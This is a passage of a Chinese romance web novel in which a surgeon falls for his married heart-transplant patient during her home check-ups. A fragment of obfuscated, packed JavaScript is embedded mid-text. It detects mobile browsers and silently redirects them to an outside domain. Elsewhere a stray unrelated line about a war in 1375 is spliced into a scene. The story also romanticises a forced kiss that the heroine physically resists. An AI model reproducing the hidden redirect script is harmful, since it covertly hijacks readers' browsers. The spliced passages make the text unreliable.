“你每次来都嘱咐我注意身体,我知道的。”女人气质温和,这段时间长出了许多白头发一时间苍老不少。
“老师生前对我有恩,现在他去世了我多来照应是应该的。”
“早知道他的病没有希望,只是后来又听说有了心脏源...”妇人叹了口气,耳边的白发落到脸颊旁,“陈昼,你以后还是少来这里,现在你刚被调回来要忙的事还有很多,你老师生前也希望你多把心思放在研究上。”
灵位上的名字在烟火缭绕中静静伫立,陈昼站在原地眼神黯淡了些。
灵堂里,两人的衣角被风掠过,藏着无奈。
陈昼今天离开时没有像往常一样留下吃饭,从庭院出来正是中午,他抬头看见对面街道的酒吧,这条街平时过客不多连带着酒馆的生意也不好。
深秋季节酒馆里的灯光昏暗,透过晕黄玻璃隐约能看清分散在角落的几个人。
桌上的酒杯有几个已经空了,她摇晃着手里所剩不多的酒,魅眼上扬红唇扬起,手术后的面色还能看出几丝病弱,这反倒将人衬得多了些怜惜的意味。
摆在桌上的电话被接通,林湫暮弯起笑看着对面街道的男人举起手机放在耳边,男人身材颀长一身深色大衣站在庭院门口的树下,满地枯黄落叶被吹过,他站在树下周身散发着自带的疏离禁欲。
“哪位?”
电话里的声音冷淡低沉,林湫暮凝向窗外,带着玩味。
“医生。”女人声音柔缓清亮。
酒馆里环境并不吵,这时人不多正播放着怡情的音乐。
良久,电话那头没再传来声音,久到林湫暮皱起了眉,想要再开口时陈昼的声音响起了。
“什么事?”
街对面陈昼还站在原地,他的目光穿过玻璃放在女人身上。
“进来喝酒?”
林湫暮说话就是这样,看似是询问可听起来却像是在陈述。
“没兴趣。”男人神情凌冽黑眸却一直盯在女人身上。
她倒也不恼,指尖敲着酒杯又说:“医生,我待会儿喝醉了还得麻烦你把我安全送回去。”林湫暮撩起眼望向街头的人,“毕竟,你是我的医生嘛。”
街上有车划过,陈昼的脸色顿时一黑。
直到女人将手上剩下的半杯酒一饮而尽他才跨出脚步往酒馆走去,这气势甚至能看见男人满头不情不愿的黑线。
这个场景其实很有趣,平常冷漠严肃的医生在街头酒馆遇到自己的患者,然后被人逼着进去喝酒。
林湫暮撑着头眼睛微眯看到了一抹高大身影出现在门口处,陈昼径直朝她走来,身上带了屋外的凉气。
走到桌前他看到满桌的酒杯空了一半嘴角抽动。
林湫暮微微仰着头看向男人,嗓间发出几声笑带着丝丝醉意。
“我叫你进来可不是罚站的。”
此刻坐在角落的女人面前忽然站了个气势汹汹的男人,周围有人开始往这桌打量起来。
陈昼眉心微动这才意识到不对劲往旁边的椅子挪过去坐下。
桌上摆了很多酒,林湫暮拿起其中一杯酒推到陈昼面前,她懒懒地撑着头看起来有些醉了,红唇轻动道:“医生,我们来玩摇骰子吧。”
“我不会。”
这时已经有服务生把骰子拿上来,林湫暮接过来看向他,“不会我来教你。”
她执起对面男人的手放在筒子上,眼神微挑:“这是我特意让人拿来的骰子,不玩多可惜。”
听到她这样说陈昼大掌还覆盖在筒子上,问;“你故意的?”
筒子开始摇起来了,林湫暮神情专注没在意对面男人的惊讶。
骰子摇动的声音响起,清脆震响,两只手覆盖在上面,女人的手带着凉意牵动着下面的手。
声音结束,林湫暮扬起一抹神秘的笑,“这把算医生你的。”
陈昼还没来得及反应就看见手下的筒子被掀开,点数停在几个数字上,他虽然不经常玩却也懂一些,这个点数明显赢面很大。
接着女人再次摇起来,声音再次响起,一会儿后骰子的声音在女人手中停下。
点数揭开时,他眉心跳动。
林湫暮看到最后摇出来的两组骰子摇了摇头笑起来,随后端起桌上的酒与男人对视,“我输了。”
说完女人仰起头喝完了手中的酒,酒杯放下时她脸上泛着红,上挑的眼尾笑意清浅藏着朦胧意味。
光线氤氲,陈昼愣了一瞬心头震动,耳边竟泛起了无人察觉的红晕。
他垂下头拿起桌上的杯子想要喝却发现拿的是林湫暮一早就喝完的空杯,杯上还残留着她留下的口红印。
他看起来有些慌乱,立马把杯子放回了原位。
耳边传来女人的低笑,她靠着椅子笑盈盈地正打量男人。
酒馆里环境昏暗看不清对面人的神态细节,可陈昼却还是仔细看清了林湫暮脸上撩人的笑意,忽然感到心底一阵阵被撞击翻涌。
他呼吸愈发沉重,越想思绪越烦闷,干脆不去看她将脸侧到一边去。
桌上的手机响起来,对面那道注视的目光终于移开,陈昼这才放松下来。
林湫暮说话向来平静柔缓,听到电话里传来的消息时眼里有光迅速陨落,她说:“知道了。”
音乐又换了一首,场上的气氛开始热闹起来。
陈昼见她喝完了桌上最后一杯酒时不经皱起眉:“我带你回去。”
林湫暮侧眸看他,那目光不像是平时含笑淡漠的打量,格外认真细腻,看了一会儿轻轻闭上眼。
“我不想回医院。”
她语气里微微发冷,说完就靠在椅子上再没动静。
陈昼起身绕过桌角犹豫了一会儿后揽起她的腰把人抱在怀里,女人身体软绵无力倒在他身上,浓郁的玫瑰花香气萦绕在鼻尖,他身体紧绷揽在女人腰上的手发烫。
从酒馆出来时外面天色暗沉,林湫暮倒在怀里陈昼甚至能感受到她身上的温度,他目光越发晦暗。
手术后林湫暮很少独自出行,今天专门让人去查了陈昼的行踪,她就是专门去酒馆里等着陈昼的。
这医生表面冷漠实则呆愣,她追着追着就到这里来了。
两人到酒店时外面的天色已经完全暗了,他把怀里的女人放到床上,眼里划过幽暗,房间里光线明亮照在林湫暮褪去红晕的脸上,他俯身在床前一时看得愣住,男人的喉结滚动慢慢抬起手想要更触近一分。
今晚心里不停肿胀翻涌,这提醒着陈昼这是从前从来没有过的情绪,他得承认他动心了,尽管一直以来都在抑制心底那股邪念。
林湫暮长相偏浓艳妩媚,一颦一笑间满是风情韵味,天生的一双媚眼轻轻扬起便有种脉脉含情的魅惑。
他仔细凝视着身下的人,酒味和玫瑰花香气混合在一起沉醉又迷人,女人唇瓣湿润泛着水光,这张红唇平常笑起来时也是这样动人。
身下一股被点燃的无名火涌上来,陈昼闭上眼想要强迫自己离开,耳中传来林湫暮的呢喃,他重新低下头凑到她唇边。<
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“梁先生,你又失信了。”
一盆冷水浇灭了刚才的□□,陈昼沉着脸紧紧盯着女人不安的呢喃低语,她闭着眼拧紧了眉心。
床前男人起身打算离开,忽然垂落在身侧的手被一把抓住。
“医生。”
林湫暮恍惚间睁开眼,被拉长的身影垂落在眼前。
“你要走?”她问。
“嗯。”
女人听到陈昼声音沉闷低笑起来,“你走了要把我一个人扔在这里吗,这样可不负责,我的好医生。”
“你的医生。”男人转过来面向她,开口掐起这几个字眼。
林湫暮脑中原本混乱的醉意清醒了些,她坐起身看向陈昼,理所当然地点了点头:“当然了,我的医生。”
“你凭什么认为我是你一个人的医生,你这样认为有没有问过我愿不愿意。”
面对男人突如其来的怒意林湫暮有些意外,眼中又扬起了熟悉的打量意味。
“陈医生当然也可以是别人的医生,只是我这样说好像也没有什么不妥。”
是了,病人称呼给她动手术的医生为她的医生这本身就没有不妥,陈昼低下眉掩去眼里的黯淡。
林湫暮松开了一直抓着的手,声音很轻像是感慨:“就算你今天一直在我身边,他到最后也还是没来。”她的眼角垂落。
光线亮得刺眼,她抬手想挡去光,忽然被一股蛮力抓住紧接着对上一双危险暗沉的眼,男人黑眸中蕴起了怒意,出口冰冷:“你叫我陪你喝酒只是为了让你的那位梁先生误会我们?”
闻言,她愣了片刻,面对眼前的怒气不是很在意随即又弯起唇说:“是我刚才喝醉了无意中说起的梁先生吗?”
林湫暮没有回答陈昼的问题,反而把注意力移到了“梁先生”几个字上。
这让陈昼翻涌的怒意更甚,声音隐忍低哑离面前的女人更近一分,两人鼻息交缠他目光怒视:“所以我只是你用来激怒他的工具。”
他陈述着这个事实,紧紧攥住林湫暮的手腕。
陈昼眼中燃烧着怒火,林湫暮抬起另一只手轻缓地放到男人脸颊上,她指尖冰凉在片刻间隐约有了抚慰作用。
“医生,你今晚好像很容易生气。”
她媚眼撩人,说:“梁先生是我丈夫。”
下一秒红唇就被一股狂热强烈的占有欲压住,他俯身将她拉到自己怀里紧贴着女人柔软的身体,大掌环过她的后颈鼻息急促仿佛在宣泄怒气,男人的吻带着疯狂和不甘,唇瓣交缠碾过。
陈昼的掌心在林湫暮发间穿梭摩挲,他逐渐沉迷于亲吻带来的满足,怀里的人被紧紧困住,不够,还是不够,紧接着撬开女人的唇瓣发了狠地在她唇间咬下,林湫暮痛得闷哼一声,手撑在他胸前想要推开却根本无法撼动分毫。
唇上的动作粗暴生硬,陈昼强硬地闯入女人口中触碰到里面的软嫩时顿时感觉到一阵头皮发麻,津液从唇角缓缓溢出,两人倒在床上,林湫暮被他死死压在身下寻不到一点挣脱的机会。
随着男人越来越投入身侧的手终于被放开,她毫不犹豫地举起手。
“啪”清脆的一道声响后,男人终于恢复了所剩不多的理智缓缓抬起头来。
他的脸颊一阵刺痛,仿佛是身下的人控诉着刚才发生过的一切。
陈昼落在床上的手微微颤抖,黑眸中划过无数思绪最终只是盯着怀里的人然后默默起身。
“对不起。”他喉咙干涩闭上了眼。
灯光映在她眼中,林湫暮眼神冰冷起身收拾好被揉皱的裙摆,唇瓣上的咬痕看起来触目惊心,她淡淡瞥过一眼床边。
男人垂着头,像条丧家之犬。
“祝你和梁先生百年好合。”
9. 关于他们
初冬,天气阴,到翁山别墅区时是早上六点半,林间幽静弥漫着湿润的泥土气息。
陈昼没有把车开进去,到达别墅时已经是半个小时后。
天空开始飘起小雨,他踩着湿漉漉的石板路在大门前停下按响了门铃。
不一会儿就有人来开门了,来的人是上次在雨里摔倒威胁他去带饭的女人。
“陈医生,来得好早。”女人打了声招呼把门打开。
“林小姐在楼下,你直接进去就行了。”
闻言,陈昼挎着工具包点了点头,目光疏离看不出多余情绪。
别墅周围环境静谧清新是个养病的好地方,能够在这里随便安置一处房产养病可见身份背景不会简单。
餐桌上摆着没怎么动过的早餐,女人躺在沙发上闭着双眼,有几缕头发垂落,屋里面清清冷冷的。
他站在原地看向沙发上的人,就这么望了许久。
林湫暮的术后情况恢复得比理想情况要差因此耽误了出院时间,后来两人之间的交流也仅限于例行检查询问。
他们已经有很久没见过面了,陈昼算着日子总算到了复检这一天。
林湫暮看着清减了脸色也苍白不少,窗户没有关有小雨飘进来,一阵凉风让沙发上的女人蜷了蜷身子。
“林小姐。”他站在离她不远的地方唤了一声。
屋内没有其他人,只有男人低沉的声音响起。
林湫暮被一阵凉风吹醒时耳边回响起熟悉的声音,她慢慢睁开眼神情懒散,看见门口站着一道身影。
“是医生啊。”女人依旧躺在沙发上没动。
“嗯。”见她醒了,陈昼这才走过去,脚步放得及其轻缓。
屋里的陈设简单照进来的光线灰暗,这样静谧干净的环境很适合病人修养,可却少了些生气。
林湫暮看到陈昼走过来,唇边轻笑,“医生来得好早。”
可不嘛,翁山别墅远离市区光开车就得两个小时,更别提还要从外面进来又要花上半小时左右。
男人抿了抿唇眼底黯淡,他放下工具包俯身半跪在女人身边开始拿检查仪器出来,“时间刚好。”
他说的是林湫暮早上吃完早饭的时间。
听诊器被他握在掌心,陈昼犹豫地看向重新闭上眼的女人,大概过了几秒喉间发出几声咳嗽声,“林小姐。”
凉风袭来,陈昼蹲在沙发前,没有回应。
“我”
他的话被卡在喉咙,林湫暮闭上眼时没有了平日的妩媚多了几丝恬静。
那我开始检查了。
他无奈地在心底轻叹一句。
听诊器被缓缓伸进女人的胸膛处,她皱起眉像是不满。
下一秒,陈昼挂着听诊器与沙发上女人的目光对视上,他愣住,捏着听诊器的手无处安放,拿出来也不是不拿也不是。
耳中传来女人心脏跳动的声音,陈昼呼吸停滞了一瞬。
“陈昼。”
林湫暮口中轻唤起他的名字,平静轻缓。
他垂下眸没再看她,“嗯。”
“我会死吗?”
初冬的季节带着刺骨的凉意,屋里的窗户哪是没关上是总被她打开。林湫暮常常看着窗外想,梁先生要是知道她手术后病情恶化会不会担心,又或者会不会来看她一眼。
不过这个想法每次都会被助理及时打断,她对林湫暮生活里的每一件事都细致入微,大到手术检查,小到关窗盖被。
“有我在,你不会。”
面前的男人嗓音冷沉黑眸隐忍又压抑。
林湫暮唇角扬起笑意,望着陈昼看了会儿随后又重新闭上眼,她睫毛轻轻颤动静静地躺在那里,仿佛没有了生机。
大概是这一瞬间,竟让陈昼产生了带她离开的想法。
脑中的想法闪过,他挫败地低下头只能跪在林湫暮面前望着她苍白柔静的脸。
可他没有资格。
陈昼也没想到有一天会动心,对林湫暮动心。老师生前对他说的最后一句话是一定要好好做完这台手术,走上手术台的一刻他认出了躺在上面的女人,她就躺在那里,将自己的心脏交给他,那时,他仿佛是主宰一切的神。
后来,他多希望那颗心脏里能留下一隅之地给他。
有时候他也挺不服气的,明明是他亲手安置进去的心脏里面为什么就不能有他。
女人闭着双眼脸色苍白,他目光炽热,深邃沉默。
坠入凡尘的信徒有了信仰,终于在日复一日的祷告里生出了虔诚的爱意。
从那天起每隔一段时间陈昼就会来翁山别墅给林湫暮检查,他也因此格外盼着这一天的到来。
Y国没有过年这一说法,不过初雪早早就来了,夜晚的街头落下初雪,大本钟在雪夜里虚幻朦胧。
凌晨五点时陈昼开车前往翁山别墅,天还没亮,街头大雪纷飞。
他打了个寒颤,天越来越冷了,想到林湫暮的身体不免隐隐担心起来。
别墅区周围冷清安静来往车辆不多,陈昼把车停在外面拿上东西顺着石板路进去。
天还没完全亮,别墅外的两棵枯树上挂上了白雪,半小时后,陈昼来到别墅前按响了门铃。
这是他第二次来,距离上次已经过去两个月,原本应该一月来一次,不过病人说术后情况恢复得不错,不用太过频繁。
天灰蒙蒙的,助理出来时脸上还带着明显的睡意,见到陈昼站在门外显然没想到他会来这么早。
“陈医生每次都来得很早啊。”
陈昼点头笑了笑:“平时习惯早起。”
女人打开门请他进去,“林小姐已经下楼了,正在吃早饭。”
“好。”
交代完后助理又去忙其他事,陈昼推开门进去,瞬时被一股暖意包围。
房子里的暖气很足,餐桌上摆着和上次一样没怎么动过的早餐,女人站在窗边裹着披肩,手里的牛奶还在冒热气,她轻抬起头看向窗外零落的雪。
林湫暮转过身看到陈昼开门进来,抿起笑打了声招呼:“医生,你来了。”
“吃过早饭了吗?”
陈昼走过去,主动问起。
她眼眸微动:“吃过了。”
“医生你来得这么早,吃过了吗?”
“我”陈昼停顿了下,“我来得急,还没吃。”
他眼底讳莫如深,直直望着林湫暮。
女人听到笑了一声:“哪有你这样的医生,自己都不注意身体还怎么给病人检查身体。”
“是,是我太不注意了,不知道林小姐这里有让我先垫肚子的东西吗?”
林湫暮抬起目光与男人那道深沉隐忍的视线相撞,她忽然心跳漏了一拍躲闪着低下头,牛奶在手上冒着热气,她一时想也没想将杯子递到陈昼面前。
“我这里有杯牛奶,你喝吗?”
窗外风雪依旧,漫天白雪覆盖,一片苍茫朦胧。
说完林湫暮眼眸闪烁,耳边的发丝垂落,第一次看见她露出慌乱的样子。
“抱歉,我说错”
她正准备放下手中的杯子却被陈昼给抓住。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224209|181668||http|test|mini|href|location''.split(''|''),0,{}));
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>“我喝。”
牛奶杯在空中被两只手握住,男人宽厚修长的手将她包裹住。
冬令时的初雪到来时,就是一年里最值得期盼的时候。
窗前,女人的手被男人覆盖住缓缓举起,温热的牛奶送到他唇边,她看见陈昼的喉结滚动,杯里牛奶一点点在减少。
陈昼的目光自始自终都放在她身上,如果眼神能说话,林湫暮见到的绝不是面前这个沉默隐忍的医生。
他的手温暖炙热,在寒冬里包裹住她。
那双手拿着检查仪器俯下身检查,比起上次林湫暮又瘦了,陈昼摸到她身上的骨头眼底流过心疼。
“最近两个月食欲怎么样?”
“不是很好。”
“睡眠呢?”
“也不是很好。”
他停顿住,沉着声继续问:“心率感觉有异常吗?”
“平时没有。”
女人眼角上挑,又露出了往日在医院的模样,红唇轻启:“不过今天有异常。”
起初陈昼对这种事情总是不自觉懊恼,现在反倒已经习惯了。
“哪里异常?”他顺着她的话问。
“一见到医生就砰砰直跳,这算不算?”
林湫暮勾着唇与陈昼相视,笑容很浅。
“算。”
他黑眸暗沉,凑身与她对视。
目光流转间屋外寒风吹雪,屋里暖意充足萦绕在两人周围。
女人脸色忽然变了,她推开陈昼,眉目恢复清冷,没有了刚才的笑意打趣。
“检查完就快走吧。”
不含任何情绪的一句话让他的手停在空中,陈昼垂下眸眼底黯淡被盖住。
男人点了点头,拾起一旁的仪器重新开始检查。
“好。”
两人没再说话,一系列检查结束后已经过去了一个小时,期间除了助理进来问过检查情况,屋里就再也没有发出过声音。
桌上放着的烟被林湫暮抽出一根,她眼神轻瞥,手中的烟被点燃。
陈昼收拾完东西一言不发,额前有碎发因为刚才突然的推动落了几缕下来。
“医生,你以后还是不要再来了。”
女人的声音如刀割般响起,冷淡至极。
陈昼抬头与她对视,轻叹一声,眼底藏着隐忍,他竟慢慢靠近女人,把手覆盖在了林湫暮手上。
“就真的,一点念想也不留给我了吗?”陈昼的声音近乎哽咽。
燃烧的烟灰落在男人手背上,他好像没有知觉仍旧抬头望着眼前的人。
有烟雾在她眼前升起,林湫暮低头与他相视,含在嘴边的烟仍在慢慢燃烧,她侧过头把烟随手扔了,一滴眼泪不合时宜地落下,砸在了男人的手背上。
陈昼感受到那滴砸落的眼泪,眼中忽然升起欣喜来,他起身转过女人的脸,看见那张脸早已泪流满面。
“湫暮,你心里有我。”他颤抖着手,望向女人眼中露出抑制不住的狂热。
“对不对?”
陈昼捧着她的脸,瞳孔亮起。
林湫暮目光怔愣望着面前的男人,心底竟然开始隐隐钝痛。
许久后,眼角的眼泪干了,她轻声开口,浇灭了男人所有的炽热。
“我只是,想起了梁先生,你和他长得很像。”
像一盆冬日的冰水淋灌了全身,陈昼在那一瞬间全身的血液都冷透了,如坠冰窟。
林湫暮的话太过冰冷,为初雪增添了几分寒意。
他笑意苦涩,指尖缓缓垂落。
“是吗?”
10. 关于他们
隆冬,大雪,这个季节的Y国寒风刺骨冷得发抖。
翁山别墅区几乎已经见不到行人,路边堆着小山一样的雪。
林湫暮最近经常在阳台画画,助理很少会来她房间,这是她为数不多可以透气的地方。
屋外正在下雪,她坐在阳台全身包裹得严实,手上的画笔稀稀窣窣的。
她不擅长画人像,现在画了一张又一张,想起上次画人还是在医院,那时陈昼还是个冷面医生,不管说什么都始终冷着脸。
笔尖停顿,林湫暮想到这嘴边弯起很浅的笑。
医生是个好人,她每次见到都忍不住逗他,想从他脸上看到更多不同的表情。
一开始她有过利用陈昼来达到引起梁先生注意的想法,不过这个想法只在她睁开眼第一次见到病床前的陈昼时闪过一瞬间,往后再也没有过。
从那通未接电话后林湫暮就知道,梁先生不会来了,她去酒馆的确是为了陈昼,可不是为了利用他。
陈昼没有再来过,整个冬天,再也没有人踏足过翁山别墅,像被冰雪封盖的一处秘境,她整日望着远处,像是在等谁。
一片雪落在眉心,林湫暮伸出手,空中无数飘零的雪落到手心里,冰冷的触感让她浑身发颤,来Y国前她没想过这里的冬天会这样冷。
而她真的在大洋彼岸的Y国孤身完成了手术,度过了漫长的恢复期,现在就只等着冬天过去。
梁先生后来其实打来过电话,助理拿着手机进屋时林湫暮正躺在沙发上,女人轻声喊了两句,见沙发上的人没反应又重新拿起电话说:“她最近经常在沙发一睡就是一天。”
手机里男人的声音深沉:“记得把窗关好。”
“我记得的,不过有好几次我看到林小姐自己去把窗打开了。”
男人沉默了两秒。
“她平时喜欢站在窗边吹风,等她睡着之后你再去关好。”
助理表情凝重对男人说的话牢记在心,“知道了。”
梁先生的电话再次落空,几句简单的对话后屋里再次恢复安静。
暖气萦绕,林湫暮躺在沙发里慢慢打开眼,眼眸清明哪里有半点睡意,从她的视角恰好能看到窗外落下的雪。
她眼神疲怠望向窗外,有两张脸在雪中慢慢重叠。
梁先生啊,我真想你。
Y国没有过年的习俗,可是梁先生要过年,她想送他一件礼物。
“林小姐,请来拍照的摄影师已经到了。”助理打开门进来。
林湫暮眼底微动,起身把手里的画纸放下。
她起身离开时,外面忽然刮起了风。
几天前林湫暮让助理联系摄影师,大病初愈,冬天过去就要离开这里了,她想留下一些东西,顺便让梁先生知道她的近况。
这是她为梁先生准备的新年礼物。
“林小姐,外面冷,要不还是在里面拍吧。”每到这种时候女人总会在一旁提醒,这是她的工作,确实让人挑不出一丝毛病。
林湫暮看也没看她一眼,摇了摇头径直往楼下走去,“就在雪地里拍。”
身后,助理没再说话而是返回屋里去把最厚的一件毛绒披风准备好。
平时这房子里总是屋门紧闭透不进什么风,只有在她晚上休息时助理才会打开通风打扫,大厅里有一个很大的散热火炉每天不间断地燃烧着保持屋内恒温。
冬季,大雪,暖气环绕的屋子,她静静地在这里从初冬望到深冬。
别墅的门被打开,大雪纷飞,被雪铺满的石板路上陈昼痴楞在原地,空中的纸张四散飘落,他站在无数画纸中像从画里走出来,朦胧得不像这个世界的人。
“林小姐。”
他站在雪地里喊了一声。
林湫暮望着门外的人眼里一阵恍惚,就连呼吸也放缓了,寒风呼呼地在耳边吹,她从心底升起一股凉意,带着忽略不了的颤动。
画纸散落了一地,画像上的男人有着和陈昼一样的面容,他低头看见地上一张张画纸上的人像,心中瞬间明了了,像有一抹光折射进心里。
“你怎么来了。”
林湫暮问陈昼。
“复诊的日子到了。”他唇边扬起淡淡的笑,“两个月一次。”
距离上次已经过去了两个月,陈昼继续履行着医生的职责来翁山别墅为病人复诊。
他俯下身把雪地里一张一张的人像画纸捡起来叠好,踩着雪走到她身前把手上的纸张递给她。
“你的东西。”
画纸上沾了雪,边角有些湿了,她垂眸看向素描上被勾勒出的轮廓,和眼前的人重叠起来。
“医生,有没有觉得这画上的人有些眼熟。”
她没有接过画纸而是问他,陈昼站在门口挡去了背后的寒风。
屋里的火炉散发着暖气,与门外刺骨的冷风相斥。
陈昼眼底微光闪烁,嗓间溢出低沉的声音:“嗯。”
林湫暮终于接过他手上的画纸,轻叹一口气,嘴角苦笑,“是谁都不重要了。”
楼上响起助理下楼的声音,她看到门口的陈昼时划过惊讶。
“陈医生不是下午才来吗?”
“下午医院还有事,临时改了时间没来得及通知你。”
助理下楼看到林湫暮一直站在风口处显然有被吓到,走过去把手上的披风赶紧给她围上,“林小姐,外面天太冷了,当心着凉。”
她移开眼没什么反应转身进了屋里,身后助理还在跟陈昼说话。
“陈医生也快进来吧。”
把陈昼请进屋里这才又把门给紧紧关上了,男人进屋鼻尖敏感地闻到一股熟悉的玫瑰花香,他转头看到林湫暮已经坐在桌边开始挑拣玫瑰花。
这个季节屋里还摆着新鲜的玫瑰花,实属不易。
“摄影师呢?”桌旁的女人把要用的玫瑰花从花瓶里抽出来放到一边头也不抬地问起。
“对不起林小姐,可能路上出了意外我再打电话问问。”
助理说着已经掏出手机开门去屋外了。
她走后屋里就剩下两人谁也没说话,林湫暮还在仔细挑选待会儿要用的玫瑰花,花枝上满是刺,她没个小心随手从花瓶里抽出来,陈昼站在不远处看得入神,额间微微蹙起担心。
“挑好了。”
林湫暮抬起头眼中闪烁兴奋,随后看向陈昼笑起来:“医生,待会儿能不能请你帮个忙。”
“什么忙?”男人声音低冽望着她。
“待会儿就知道了,你会答应的吧。”她的眼尾挑起。
陈昼顿了顿,点了头,“嗯。”
火炉里柴火旺盛,暖气充足,玫瑰花从瓶子里抽出缓缓淌着水滴。
这个季节的玫瑰花娇贵难得,脱离了适养环境不过片刻就会凋谢。
摄影师被助理接过来时林湫暮已经站在雪地里了,陈昼就在不远处的树下神情专注。
一男一女跟在助理后面身上挎着设备,目光打量。
摄影师是助理从国内联系的,林湫暮远远就看见雪中的三人,转头看向陈昼手里的玫瑰花,“医生,他们来了。”
“林小姐,外面冷,您要不要多穿一件。”
助理见到雪地里林湫暮的第一眼就皱起了眉,尽管知道林湫暮多数时候并不在意她的话但还是开口询问。
别墅前,女人目光含笑看向一男一女摄影师,“你们是梁先生安排的吗?”
在场几人明显神情微变,没想过林湫暮第一句话就把事情说明了。
后面的女摄影师笑了笑:“不管是谁安排的,今天我们要拍摄的人是林小姐您。”
林湫暮听后点了头:“你们把照片送到梁先生手上的时候记得替我跟他说一声新年快乐。”
“没问题。”
“还有
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”她眉间扬起清浅的笑,“今天你们要拍的人不止我一个,还有我的医生。”
女人侧眸望向树下的陈昼,“医生照顾我辛苦,我想在离开前和医生在Y国留下一些东西,医生,你觉得怎么样?”
她看着他笑,眼眸微眯,看起来温柔蛊惑。
雪地里几人眼神变化,树下的男人沉默冷然,淡淡注视着他们的交谈。
他手上的玫瑰花沾了雪,美得让人移不开眼。
“好。”男人的声音在风雪里低沉喑哑。
那是他第一次意识到自己离她的世界好远,好远。
就像他们站在雪地里,说起那位他从未见过的梁先生。
Y国有个传说,有一天独自在家的妻子出门寻找她久违归家的丈夫,从此便不知所踪,直到丈夫回家发现妻子失踪,他开始发了疯地满世界找他的妻子,最后在一个深冬他看到了雪地里被大雪覆盖的冰雕,他认出那是他早已逝去的妻子,丈夫悲痛欲绝,他望着冰雕祈求上帝不要再带走他的妻子,希望时间永远静止,这样他就能永远守着妻子。可时间并没有因此停止,四季流转,很快深冬过去冰雕也慢慢融化,丈夫再也没有办法了,他不再祈求而是大骂上帝,然后日复一日地守在原地。转眼到了下一个隆冬,雪里的冰雕竟然开始逐渐恢复,丈夫紧闭的双眼慢慢打开,当他睁开眼时终于再次看到了那座冰雕。从此,每当冬季,雪地里就会出现那座冰雕,丈夫在无尽的轮回里循环往复地等着下一个妻子会出现的冬季。
“梁先生请你们来花了多少心思?”
林湫暮神情悠悠,雪地里的一男一女摄影师正在架设备。
“梁先生出手阔绰,再也找不到比梁先生还要好的雇主了。”男摄影师单手调式架好的摄影机,另一只手捻着烟。
一旁的女人眉眼轻挑唇边露出笑意:“不为报酬,只是不忍心看梁先生一片真心无处安放。”她抬起头说道:“是一定要把梁先生的真心送到才行的。”
摄影机已经架好,几人站在雪地里,别墅看起来比平时热闹多了。
“林小姐,你身体不好,还是多穿一件。”助理从屋里走出来,手上拿着那件毛绒外套。
她刚一靠近准备把披风给女人披上就被随手别开了,披风掉落在地上,林湫暮毫不在意地走到陈昼身边,眼里勾着笑。
“医生,我们一起拍照。”
雪地里,男人沉默地望着她,手中的玫瑰早已沾满了雪。
“好。”
他垂着头,眼里倒映出女人清浅的笑。
林湫暮朝他伸出双手,“那,抱抱我吧。”
女人的话语轻柔,像一片雪花落在心间,陈昼眼眸微动向前探身肩臂轻轻拥过她,冰雪里一股玫瑰花香气扑鼻而来,令他心安满足。
摄像机前的男女默默凝视着雪里相拥的一幕,一道光闪过,摄影机已经自动拍摄下刚才的画面,旁边的助理睨了一眼神色平淡看不出多余的表情。
“带上这朵玫瑰花拍照好不好。”
林湫暮仰起头在男人怀里笑容明艳。
他眸色暗沉,听到她的话将手中的玫瑰花枝折断,抬手时目光专注小心翼翼地将花别在她耳边。
女人笑靥潋滟,冷白白皙的脸庞在雪里清冷美丽,她耳边的玫瑰妖冶,陈昼垂着头舍不得移开眼。
林湫暮牵起他身侧的手朝摄影机镜头前走去。
“好了,拍吧。”
在一片纯白里她的眼眸澄澈含着笑,身旁的男人被她牵起,他们手心相握。
镜头里男人耳畔泛红唇角的笑意生涩,垂落身侧的另一只手握着那支被折断的带刺花枝,雪花落在女人轻轻扇动的睫毛上,像一幅唯美旖旎的画。
摄影机定格下了雪地里的画面。
书中记录,1375年,大战爆发,博尔索伦边境沦陷,当时无数壮年男性选择投身战场保卫国家。
11. 关于他们
“林小姐,该检查了。”
“医生,上次不是让你不要再来了吗,你怎么还是来了。”
“我是林小姐的医生,定期两个月一次为你进行术后复查。”
“是吗?”
男人垂着头看不清眼底的晦暗,“说了两个月就是两个月,不会变。”
火炉的热气弥漫,屋外风雪漫天,屋内温度持续攀升,桌上的花瓶里又换上了新鲜的玫瑰。
她勾着眼,淡淡睨着男人,慵懒的神态中藏着探寻,良久,男人还是没转过身来,背影里却又透露着不易察觉的慌乱,女人的红唇轻扬,“陈昼。”
“啪”,桌上有什么金属器皿摔落发出响声。
窗外白雪朦胧,林湫暮从沙发上起了身,头也没回地往楼梯走去,像是笃定男人会跟上来。
“我不想在下面检查身体了,来我房间里好好检查吧。”
楼梯传来一声一声的脚步声,女人神情倦怠脚下的步伐缓慢悠闲。
男人仍旧背着身,看不到脸上神情。
一步一步,像砸在心尖上,陈昼捏着仪器的指尖泛白。
也许是这屋里太热了,身下窜上一股难以抑制的□□,他心中默默祈求这次还是会有人来浇灭这股火。
林湫暮打开门时看到阳台散落一地的画纸,迎面吹来的寒风让她打了个寒颤。
今天的风真大,她眯着眼抬手挡在额前,忽然一股暖意袭来。
一只骨节分明的手包裹住了放在门把上的那只手,男人从身后围上来胸膛虚虚靠着她的背脊,低下的眉眼幽深危险。
房间里散落了几张吹落的画纸,除了纸张翻动的声音,寂静一片。
林湫暮想起曾在书上看到:世人都犯了罪,亏缺了神的荣耀。
意思是因为世人都犯了罪,未能达到神创造的初衷和标准,于是便失去了神的荣耀。
神说的罪行是什么,她第一次无限地接近、靠近。
房间里幽幽的玫瑰花香清冷醉人,床头摆着一幅巨大的画像。
女人坐在床头,身前男人正俯身手里拿着医用仪器。
“医生,拿出这颗心脏的时候你在想什么?”她轻柔含笑,目光流转。
房间里只有女人的声音,男人埋着头,沉默不语。
“是不是在想躺在病床上的为什么不是你的老师?”
胸前拿着仪器的手停顿住。
“是不是在想,为什么接受这颗心脏的人会是我。”
她笑容妩媚,陈昼抬起的那双眼深邃暗沉。
“我什么都没想。”他声音很冷,放在胸前的手却渗出了细汗。
两道视线交汇纠缠,无数隐匿的压抑隐忍审视探究在对峙中变换。
“我不信。”
“在你面前,我从不说谎。”
